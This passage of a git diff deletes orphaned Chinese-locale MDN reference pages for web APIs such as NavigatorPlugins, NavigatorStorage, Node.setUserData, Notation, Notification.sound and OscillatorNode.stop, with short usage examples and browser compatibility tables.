<td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>The {{domxref("Navigator")}} interface that implements it.</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/navigatorplugins/javaenabled/index.html b/files/zh-cn/orphaned/web/api/navigatorplugins/javaenabled/index.html deleted file mode 100644 index 746b108c8e..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorplugins/javaenabled/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: NavigatorPlugins.javaEnabled -slug: orphaned/Web/API/NavigatorPlugins/javaEnabled -translation_of: Web/API/NavigatorPlugins/javaEnabled -original_slug: Web/API/NavigatorPlugins/javaEnabled ---- -<p>{{ APIRef("HTML DOM") }}</p> - -<h3 id="Summary" name="Summary">概述</h3> - -<p>该方法用来表明当前浏览器是否激活了Java.</p> - -<h3 id="Syntax" name="Syntax">语法</h3> - -<pre class="eval"><em>result</em> = window.navigator.javaEnabled() -</pre> - -<h3 id="Example" name="Example">例子</h3> - -<pre class="eval">if (window.navigator.javaEnabled()) { - // 浏览器中Java可用 -} -</pre> - -<h3 id="Notes" name="Notes">备注</h3> - -<p>该方法的返回值是用来表明浏览器的当前配置文件是否允许使用Java的, 而不是表明浏览器是否支持Java(安装有Java插件).</p> - -<h3 id="Specification" name="Specification">规范</h3> - -<p>{{ DOM0() }}</p> diff --git a/files/zh-cn/orphaned/web/api/navigatorplugins/mimetypes/index.html b/files/zh-cn/orphaned/web/api/navigatorplugins/mimetypes/index.html deleted file mode 100644 index 5b199ae666..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorplugins/mimetypes/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: NavigatorPlugins.mimeTypes -slug: orphaned/Web/API/NavigatorPlugins/mimeTypes -translation_of: Web/API/NavigatorPlugins/mimeTypes -original_slug: Web/API/NavigatorPlugins/mimeTypes ---- -<div>{{ ApiRef("HTML DOM") }}</div> - -<div> </div> - -<h2 id="Summary" name="Summary">概述</h2> - -<p>返回一个{{domxref("MimeTypeArray")}}对象,其中包含可被当前浏览器识别的{{domxref("MimeType")}}对象的列表。</p> - -<h2 id="Syntax" name="Syntax">语法</h2> - -<pre class="syntaxbox"><var>mimeTypes</var> = navigator.mimeTypes; -</pre> - -<p><code>mimeTypes</code> 是一个 <code>MimeTypeArray</code> 对象,其中含有 <code>length</code> 属性、<code>item(index)</code> 和 <code>namedItem(name)</code> 方法。</p> - -<h2 id="Example" name="Example">示例</h2> - -<pre class="brush:js">function isJavaPresent() { - return 'application/x-java-applet' in navigator.mimeTypes; -} - -function getJavaPluginDescription() { - var mimetype = navigator.mimeTypes['application/x-java-applet']; - if (mimetype === undefined) { - // no Java plugin present - return undefined; - } - return mimetype.enabledPlugin.description; -} -</pre> - -<h2 id="Specification" name="Specification">Specification</h2> - -<p><em>mimeTypes 并未包含在任何规范中。</em></p> diff --git a/files/zh-cn/orphaned/web/api/navigatorplugins/plugins/index.html b/files/zh-cn/orphaned/web/api/navigatorplugins/plugins/index.html deleted file mode 100644 index a93bb6741c..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorplugins/plugins/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: NavigatorPlugins.plugins -slug: orphaned/Web/API/NavigatorPlugins/plugins -tags: - - API - - DOM - - Navigator - - NavigatorPlugins - - Reference -translation_of: Web/API/NavigatorPlugins/plugins -original_slug: Web/API/NavigatorPlugins/plugins ---- -<p>{{APIRef("HTML DOM")}}</p> - -<p>返回一个 {{ domxref("PluginArray") }} 类型的对象, 包含了当前所使用的浏览器安装的所有插件。</p> - -<div class="blockIndicator note"> -<p>在Firefox 29及之后的版本,出于隐私考虑,<code>navigator.plugins</code> 数组的枚举可能会被限制。如果一定要检查是否存在某个浏览器插件,应该用准确的插件名字查询 <code>navigator.plugins</code> 或 {{DOMxRef("navigator.mimeTypes")}} ,而不是枚举 <code>navigator.plugins</code> 数组,再对比每个插件的名字。 这项有关隐私的改变不会禁用任何插件,只是将插件名字从枚举中隐藏了而已。</p> -</div> - -<h2 id="Syntax" name="Syntax">语法</h2> - -<pre class="eval"><em>plugins</em> = navigator.plugins; -</pre> - -<p><code>plugins</code> 是一个 {{DOMxRef("PluginArray")}} 对象,通过名字或项目列表获取 {{DOMxRef("Plugin")}} 对象。</p> - -<p>返回值不是一个普通的JavaScript数组,但是它也有 <code>length</code> 属性,也可以使用<code>plugins</code>[<code><em>index</em></code>]来获取到每个元素的值, 例如(<code>plugins{{ mediawiki.external("2") }}</code>), 效果和使用 <code>item(<em>index</em>)</code> 以及 <code>namedItem(<em>"name"</em>)</code> 是一样的.</p> - -<h2 id="Example" name="Example">示例</h2> - -<p>下述示例中的函数返回Shockwave Flash插件的版本。</p> - -<pre>function getFlashVersion() { - var flash = navigator.plugins.namedItem('Shockwave Flash'); - if (typeof flash != 'object') { - // flash is not present - return undefined; - } - if(flash.version){ - return flash.version; - } else { - //No version property (e.g. in Chrome) - return flash.description.replace(/Shockwave Flash /,""); - } -} -</pre> - -<p>下述示例可显示已安装插件的信息。</p> - -<pre>var pluginsLength = navigator.plugins.length; - -document.body.innerHTML = pluginsLength + " Plugin(s)<br>" - + '<table id="pluginTable"><thead>' - +'<tr><th>Name</th><th>Filename</th><th>description</th><th>version</th></tr>' - +'</thead><tbody></tbody></table>'; - -var table = document.getElementById('pluginTable'); - -for(var i = 0; i < pluginsLength; i++) { - let newRow = table.insertRow(); - newRow.insertCell().textContent = navigator.plugins[i].name; - newRow.insertCell().textContent = navigator.plugins[i].filename; - newRow.insertCell().textContent = navigator.plugins[i].description; - newRow.insertCell().textContent = navigator.plugins[i].version?navigator.plugins[i].version:""; -} -</pre> - -<h2 id="Notes" name="Notes">备注</h2> - -<p>{{DOMxRef("Plugin")}}对象提供一个小型接口,用于获取浏览器中安装的各种插件的信息。你也可以进入 <code>about:plugins</code> 页面,来查看浏览器上安装的插件(Chrome已移除该入口)。</p> - -<h2 id="规范">规范</h2> - -<table> - <thead> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">注释</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#dom-navigator-plugins', 'NavigatorPlugins.plugins')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{Compat("api.NavigatorPlugins.plugins")}}</p> - -<p>In addition to listing each plugin as a pseudo-array by zero-indexed numeric properties, Firefox provides properties that are the plugin name directly on the <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/PluginArray">PluginArray</a> object.</p> diff --git a/files/zh-cn/orphaned/web/api/navigatorplugins/测试滕盖/index.html b/files/zh-cn/orphaned/web/api/navigatorplugins/测试滕盖/index.html deleted file mode 100644 index 7033c46107..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorplugins/测试滕盖/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: 测试滕盖 -slug: orphaned/Web/API/NavigatorPlugins/测试滕盖 -original_slug: Web/API/NavigatorPlugins/测试滕盖 ---- -<div>{{ ApiRef("HTML DOM") }}</div> - -<div> </div> - -<h2 id="Summary" name="Summary">Summary</h2> - -<p>Returns a {{domxref("MimeTypeArray")}} object, which contains a list of {{domxref("MimeType")}} objects representing the MIME types recognized by the browser.</p> - -<h2 id="Syntax" name="Syntax">Syntax</h2> - -<pre class="syntaxbox"><var>mimeTypes</var> = navigator.mimeTypes; -</pre> - -<p><code>mimeTypes</code> is a <code>MimeTypeArray</code> object which has a <code>length</code> property as well as <code>item(index)</code> and <code>namedItem(name)</code> methods.</p> - -<h2 id="Example" name="Example">Example</h2> - -<pre class="brush:js">function isJavaPresent() { - return 'application/x-java-applet' in navigator.mimeTypes; -} - -function getJavaPluginDescription() { - var mimetype = navigator.mimeTypes['application/x-java-applet']; - if (mimetype === undefined) { - // no Java plugin present - return undefined; - } - return mimetype.enabledPlugin.description; -} -</pre> - -<h2 id="Specification" name="Specification">Specification</h2> - -<p><em>This is not part of any specification.</em></p> diff --git a/files/zh-cn/orphaned/web/api/navigatorstorage/index.html b/files/zh-cn/orphaned/web/api/navigatorstorage/index.html deleted file mode 100644 index bc0ef8ba92..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorstorage/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: NavigatorStorage -slug: orphaned/Web/API/NavigatorStorage -tags: - - API - - Interface - - Mixin - - Navigator - - NavigatorStorage - - NeedsTranslation - - Reference - - Secure context - - Storage - - Storage Standard - - TopicStub - - WorkerNavigator -translation_of: Web/API/NavigatorStorage -original_slug: Web/API/NavigatorStorage ---- -<p>{{securecontext_header}}{{APIRef("Storage")}}</p> - -<p>The <strong><code>NavigatorStorage</code></strong> {{Glossary("mixin")}} adds to the {{domxref("Navigator")}} and {{domxref("WorkerNavigator")}} interfaces the {{domxref("Navigator.storage")}} property, which provides access to the {{domxref("StorageManager")}} singleton used for controlling the persistence of data stores as well as obtaining information</p> - -<p>{{AvailableInWorkers}}</p> - -<p>There are many APIs which provide ways for Web content to store data on a user's computer, including {{Glossary("cookies")}}, the Web Storage API ({{domxref("Window.localStorage")}} and {{domxref("Window.sessionStorage")}}), and <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>. The Storage Standard is designed to serve as a common basis for the implementation of all of those APIs and storage technologies, so that their constraints and configurations can be understood and controlled using a common set of methods and properties.</p> - -<h2 id="Properties">Properties</h2> - -<dl> - <dt>{{domxref("NavigatorStorage.storage", "storage")}} {{readonlyinline}}{{securecontext_inline}}</dt> - <dd>Returns the {{domxref("StorageManager")}} singleton object which is used to access the Storage Manager. Through the returned object, you can control persistence of data stores as well as get estimates of how much space is left for your site or appliation to store data.</dd> -</dl> - -<h2 id="Methods">Methods</h2> - -<p><em>The <code>NavigatorStorage</code></em><em> mixin has no methods.</em></p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('Storage')}}</td> - <td>{{Spec2('Storage')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("api.NavigatorStorage")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{domxref("Navigator")}}</li> - <li>{{domxref("navigator.storage")}}</li> - <li>{{domxref("WorkerNavigator")}}</li> - <li>{{domxref("StorageManager")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/navigatorstorage/storage/index.html b/files/zh-cn/orphaned/web/api/navigatorstorage/storage/index.html deleted file mode 100644 index bfd2cc93d6..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorstorage/storage/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: NavigatorStorage.storage -slug: orphaned/Web/API/NavigatorStorage/storage -tags: - - API - - Navigator - - WorkerNavigator - - 存储 - - 安全上下文 - - 属性 -translation_of: Web/API/NavigatorStorage/storage -original_slug: Web/API/NavigatorStorage/storage ---- -<p>{{securecontext_header}}{{APIRef("Storage")}}</p> - -<p><span class="seoSummary"> <code><strong>NavigatorStorage.storage</strong></code> 是一个只读属性,返回单例 {{domxref("StorageManager")}} 对象,用于访问当前网站或应用程序的浏览器整体存储功能的。 </span>通过返回的对象,您可以检查和配置数据存储的持久性,并了解您的浏览器使用的大约多少空间用于本地存储。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">var <em>storageManager</em> = navigator.storage; -</pre> - -<h3 id="返回值">返回值</h3> - -<p>返回 {{domxref("StorageManager")}} 您可以用来维护数据的持久化存储,以及大致确定有多少空间来存储数据。</p> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('Storage', '#navigatorstorage', 'navigator.storage')}}</td> - <td>{{Spec2('Storage')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<div> -<p>{{Compat("api.NavigatorStorage.storage")}}</p> -</div> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li>{{domxref("NavigatorStorage")}}</li> - <li>{{domxref("StorageManager")}}</li> - <li>{{domxref("Navigator")}}</li> - <li>{{domxref("WorkerNavigator")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/node/getuserdata/index.html b/files/zh-cn/orphaned/web/api/node/getuserdata/index.html deleted file mode 100644 index 74dbaf067e..0000000000 --- a/files/zh-cn/orphaned/web/api/node/getuserdata/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Node.getUserData() -slug: orphaned/Web/API/Node/getUserData -translation_of: Web/API/Node/getUserData -original_slug: Web/API/Node/getUserData ---- -<p>{{ APIRef }}{{ obsolete_header() }}</p> -<p>The <code><strong>Node.getUserData()</strong></code> method returns any user {{domxref("DOMUserData")}} set previously on the given node by {{domxref("Node.setUserData()")}}.</p> -<div class="note"> - <p>The <code>Node.setUserData</code> and {{domxref("Node.getUserData")}} methods are no longer available from Web content. {{domxref("Element.dataset")}} or <a href="/en-US/docs/JavaScript/Reference/Global_Objects/WeakMap"><code>WeakMap</code></a> can be used instead.</p> -</div> -<h2 id="Syntax">Syntax</h2> -<pre class="syntaxbox"><em>userData</em> = <em>someNode</em>.getUserData(<em>userKey</em>);</pre> -<h3 id="Parameters">Parameters</h3> -<ul> - <li><code>userKey</code> is the key to choose the specific data sought for the given node. More than one key may have been assigned on a given node, containing its own value.</li> -</ul> -<h2 id="Example">Example</h2> -<pre class="brush: js">var d = document.setUserData('key', 15, null); -alert(document.getUserData('key')); // 15</pre> -<h2 id="Specifications">Specifications</h2> -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Removed from the specification.</td> - </tr> - <tr> - <td>{{SpecName('DOM3 Core', 'core.html#Node3-getUserData', 'Node.getUserData()')}}</td> - <td>{{Spec2('DOM3 Core')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> -<h2 id="Browser_compatibility">Browser compatibility</h2> -<p>{{CompatibilityTable}}</p> -<div id="compat-desktop"> - <table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>Supported from {{CompatGeckoDesktop("1.0")}} to {{CompatGeckoDesktop("21.0")}}.<br> - Removed in {{CompatGeckoDesktop("22.0")}} [1]</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> - </table> -</div> -<div id="compat-mobile"> - <table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>Supported from {{CompatGeckoMobile("1.0")}} to {{CompatGeckoMobile("21.0")}}.<br> - Removed in {{CompatGeckoMobile("22.0")}} [1]</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> - </table> -</div> -<p>[1] The method is still available from chrome scripts.</p> -<h2 id="See_also">See also</h2> -<ul> - <li>{{domxref("Node.setUserData()")}}</li> - <li>{{domxref("UserDataHandler")}}</li> - <li>{{domxref("DOMUserData")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/node/setuserdata/index.html b/files/zh-cn/orphaned/web/api/node/setuserdata/index.html deleted file mode 100644 index 361bfcca25..0000000000 --- a/files/zh-cn/orphaned/web/api/node/setuserdata/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: Node.setUserData() -slug: orphaned/Web/API/Node/setUserData -translation_of: Web/API/Node/setUserData -original_slug: Web/API/Node/setUserData ---- -<p>{{ APIRef }}{{ obsolete_header() }}</p> -<p>The <code><strong>Node.setUserData()</strong></code> method allows a user to attach (or remove) data to an element, without needing to modify the DOM. Note that such data will not be preserved when imported via {{domxref("Node.importNode")}}, as with {{domxref("Node.cloneNode()")}} and {{domxref("Node.renameNode()")}} operations (though {{domxref("Node.adoptNode")}} does preserve the information), and equality tests in {{domxref("Node.isEqualNode()")}} do not consider user data in making the assessment.</p> -<p>This method offers the convenience of associating data with specific nodes without needing to alter the structure of a document and in a standard fashion, but it also means that extra steps may need to be taken if one wishes to serialize the information or include the information upon clone, import, or rename operations.</p> -<div class="note"> - <p>The <code>Node.getUserData</code> and {{domxref("Node.setUserData")}} methods are no longer available from Web content. {{domxref("Element.dataset")}} or <a href="/en-US/docs/JavaScript/Reference/Global_Objects/WeakMap"><code>WeakMap</code></a> can be used instead.</p> -</div> -<h2 id="Syntax">Syntax</h2> -<pre class="syntaxbox"><em>prevUserData = someNode</em>.setUserData(<em>userKey</em>, <em>userData</em>, <em>handler</em>);</pre> -<h3 id="Parameters">Parameters</h3> -<ul> - <li><code>userKey</code> is used as the key by which one may subsequently obtain the stored data. More than one key can be set for a given node.</li> - <li><code>handler</code> is a callback which will be called any time the node is being cloned, imported, renamed, as well as if deleted or adopted; a function can be used or an object implementing the <code>handle</code> method (part of the {{domxref("UserDataHandler")}} interface). The handler will be passed five arguments: an operation type integer (e.g., 1 to indicate a clone operation), the user key, the data on the node, the source node (<code>null</code> if being deleted), the destination node (the newly created node or <code>null</code> if none).If no handler is desired, one must specify <code>null</code>.</li> - <li><code>userData</code> is the object to associate to <code>userKey</code> on someNode. If <code>null</code>, any previously registered object and UserDataHandler associated to <code>userKey</code> on this node will be removed.</li> -</ul> -<h2 id="Example">Example</h2> -<pre class="brush: js">var d = document.implementation.createDocument('', 'test', null); -d.documentElement.setUserData('key', 15, {handle:function (o, k, d, s, ds) {alert(o+'::'+k+'::'+d+'::'+s+'::'+ds)}}); // 2::key::15::[object Element]::[object Element] -alert(d.documentElement.getUserData('key')); // 15 -var e = document.importNode(d.documentElement, true); // causes handler to be called -alert(e.getUserData('key')); // null since user data is not copied -</pre> -<h2 id="Specifications">Specifications</h2> -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Removed from the specification.</td> - </tr> - <tr> - <td>{{SpecName('DOM3 Core', 'core.html#Node3-setUserData', 'Node.setUserData()')}}</td> - <td>{{Spec2('DOM3 Core')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> -<h2 id="Browser_compatibility">Browser compatibility</h2> -<p>{{CompatibilityTable}}</p> -<div id="compat-desktop"> - <table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>Supported from {{CompatGeckoDesktop("1.0")}} to {{CompatGeckoDesktop("21.0")}}.<br> - Removed in {{CompatGeckoDesktop("22.0")}} [1]</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> - </table> -</div> -<div id="compat-mobile"> - <table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>Supported from {{CompatGeckoMobile("1.0")}} to {{CompatGeckoMobile("21.0")}}.<br> - Removed in {{CompatGeckoMobile("22.0")}} [1]</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> - </table> -</div> -<p>[1] The method is still available from chrome scripts.</p> -<h2 id="See_also">See also</h2> -<ul> - <li>{{domxref("Node.getUserData()")}}</li> - <li>{{domxref("UserDataHandler")}}</li> - <li>{{domxref("DOMUserData")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/notation/index.html b/files/zh-cn/orphaned/web/api/notation/index.html deleted file mode 100644 index 04e36231f4..0000000000 --- a/files/zh-cn/orphaned/web/api/notation/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Notation -slug: orphaned/Web/API/Notation -tags: - - API - - Obsolete - - Reference -translation_of: Web/API/Notation -original_slug: Web/API/Notation ---- -<div>{{APIRef("DOM")}}{{draft}}{{obsolete_header}}</div> - -<p>表示DTD表示(只读)。可以声明未解析实体的格式或正式声明文档的处理指令目标。从 <a href="/En/DOM/Node">node</a> 继承方法和属性。它的 <a href="/En/DOM/Node/NodeName">nodeName</a> 是表示法名称。没有父节点。</p> - -<h2 id="属性">属性</h2> - -<dl> - <dt>{{domxref("Notation.publicId")}} {{ReadOnlyInline}}</dt> - <dd>Is a {{domxref("DOMString")}}.</dd> - <dt>{{domxref("Notation.systemId")}} {{ReadOnlyInline}}</dt> - <dd>Is a {{domxref("DOMString")}}.</dd> -</dl> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th>Specification</th> - <th>Status</th> - <th>Comment</th> - </tr> - <tr> - <td>{{SpecName("DOM3 Core", "core.html#ID-5431D1B9", "Notation")}}</td> - <td>{{Spec2("DOM3 Core")}}</td> - <td>No change</td> - </tr> - <tr> - <td>{{SpecName("DOM2 Core", "core.html#ID-5431D1B9", "Notation")}}</td> - <td>{{Spec2("DOM2 Core")}}</td> - <td>No change</td> - </tr> - <tr> - <td>{{SpecName('DOM1', 'level-one-core.html#ID-5431D1B9', 'Notation')}}</td> - <td>{{Spec2('DOM1')}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{Compat("api.Notation")}}</p> diff --git a/files/zh-cn/orphaned/web/api/notification/sound/index.html b/files/zh-cn/orphaned/web/api/notification/sound/index.html deleted file mode 100644 index 13577dd621..0000000000 --- a/files/zh-cn/orphaned/web/api/notification/sound/index.html +++ /dev/null @@ -1,130 +0,0 @@ ---- -title: Notification.sound -slug: orphaned/Web/API/notification/sound -translation_of: Web/API/notification/sound -original_slug: Web/API/notification/sound ---- -<p>{{APIRef("Web Notifications")}}</p> - -<div class="note"> -<p><strong>Note</strong>: 这个属性并没有完全被一些浏览器支持.</p> -</div> - -<p> <code>sound</code> 是 {{domxref("Notification")}}的只读属性,interface specifies the URL of an audio file to be played when the notification fires. This is specified in the <code>sound</code> option of the {{domxref("Notification.Notification","Notification()")}} constructor.</p> - -<h2 id="Syntax" name="Syntax">Syntax</h2> - -<pre class="eval">var sound = Notification.sound; -</pre> - -<h3 id="Return_Value" name="Return_Value">Value</h3> - -<p>A {{domxref("USVString")}}.</p> - -<h2 id="Examples">Examples</h2> - -<p>The following snippet is intended to fire a sound along with the notification; a simple <code>options</code> object is created, then the notification is fired using the <code>Notification()</code> constructor.</p> - -<pre class="brush: js">var options = { - body: 'Do you like my body?', - sound: 'audio/alert.mp3' -} - -var n = new Notification('Test notification',options); - -n.sound // should return 'audio/alert.mp3'</pre> - -<h2 id="Specifications">Specifications</h2> - -<table> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('Web Notifications','#dom-notification-sound','sound')}}</td> - <td>{{Spec2('Web Notifications')}}</td> - <td>Living standard</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Android Webview</th> - <th>Firefox Mobile (Gecko)</th> - <th>Firefox OS</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - <th>Chrome for Android</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatNo() }}</td> - <td> - <p>{{ CompatNo() }}</p> - </td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td> - <p>{{ CompatNo() }}</p> - </td> - </tr> - </tbody> -</table> -</div> - -<h3 id="Firefox_OS_notes">Firefox OS notes</h3> - -<p>{{Page("/en-US/docs/Web/API/Notifications_API", "Firefox OS notes")}}</p> - -<h3 id="Chrome_notes">Chrome notes</h3> - -<p>{{Page("/en-US/docs/Web/API/Notifications_API", "Chrome notes")}}</p> - -<h3 id="Safari_notes">Safari notes</h3> - -<p>{{Page("/en-US/docs/Web/API/Notifications_API", "Safari notes")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Using the Notifications API</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/oscillatornode/stop/index.html b/files/zh-cn/orphaned/web/api/oscillatornode/stop/index.html deleted file mode 100644 index be94b576e6..0000000000 --- a/files/zh-cn/orphaned/web/api/oscillatornode/stop/index.html +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: OscillatorNode.stop() -slug: orphaned/Web/API/OscillatorNode/stop -translation_of: Web/API/OscillatorNode/stop -original_slug: Web/API/OscillatorNode/stop ---- -<p>{{ APIRef("Web Audio API") }}</p> - -<div> -<p>这个 <strong><code>stop</code></strong>方法 {{ domxref("OscillatorNode") }} 接口在指定时间内停止播放,它的参数是可选的,默认情况下是0.</p> -</div> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">oscillator.stop(<em>when</em>); // stop playing oscillator at <em>when</em></pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt><em>when</em></dt> - <dd>An optional double representing the <a href="/en-US/docs/Web/API/AudioContext/currentTime">audio context time</a> when the oscillator should stop. If a value is not included, it defaults to <code>0</code>. If the time is equal to or before the current audio context time, the oscillator will stop playing immediately.</dd> -</dl> - -<h2 id="例如">例如</h2> - -<p>下面的示例显示一个基本用法{{ domxref("AudioContext") }}创建子节点。一个应用的例子,看看我们的演示( <a href="http://mdn.github.io/violent-theremin/">Violent Theremin demo</a> (<a href="https://github.com/mdn/violent-theremin/blob/gh-pages/scripts/app.js">see app.js</a> for relevant code).</p> - -<pre class="brush: js;highlight[11]">// create web audio api context -var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); - -// create Oscillator node -var oscillator = audioCtx.createOscillator(); -oscillator.connect(audioCtx.destination); - -oscillator.start(); - -oscillator.stop(audioCtx.currentTime + 2); // stop 2 seconds after the current time -</pre> - -<h2 id="规定">规定</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('Web Audio API', '#widl-OscillatorNode-stop-void-double-when', 'stop')}}</td> - <td>{{Spec2('Web Audio API')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="浏览器的兼容性">浏览器的兼容性</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Edge</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td>14 {{property_prefix("webkit")}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>23 [1]</td> - <td>{{CompatNo}}</td> - <td>15 {{property_prefix("webkit")}}<br> - 22 (unprefixed)</td> - <td>6 {{property_prefix("webkit")}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome</th> - <th>Edge</th> - <th>Firefox Mobile (Gecko)</th> - <th>Firefox OS</th> - <th>IE 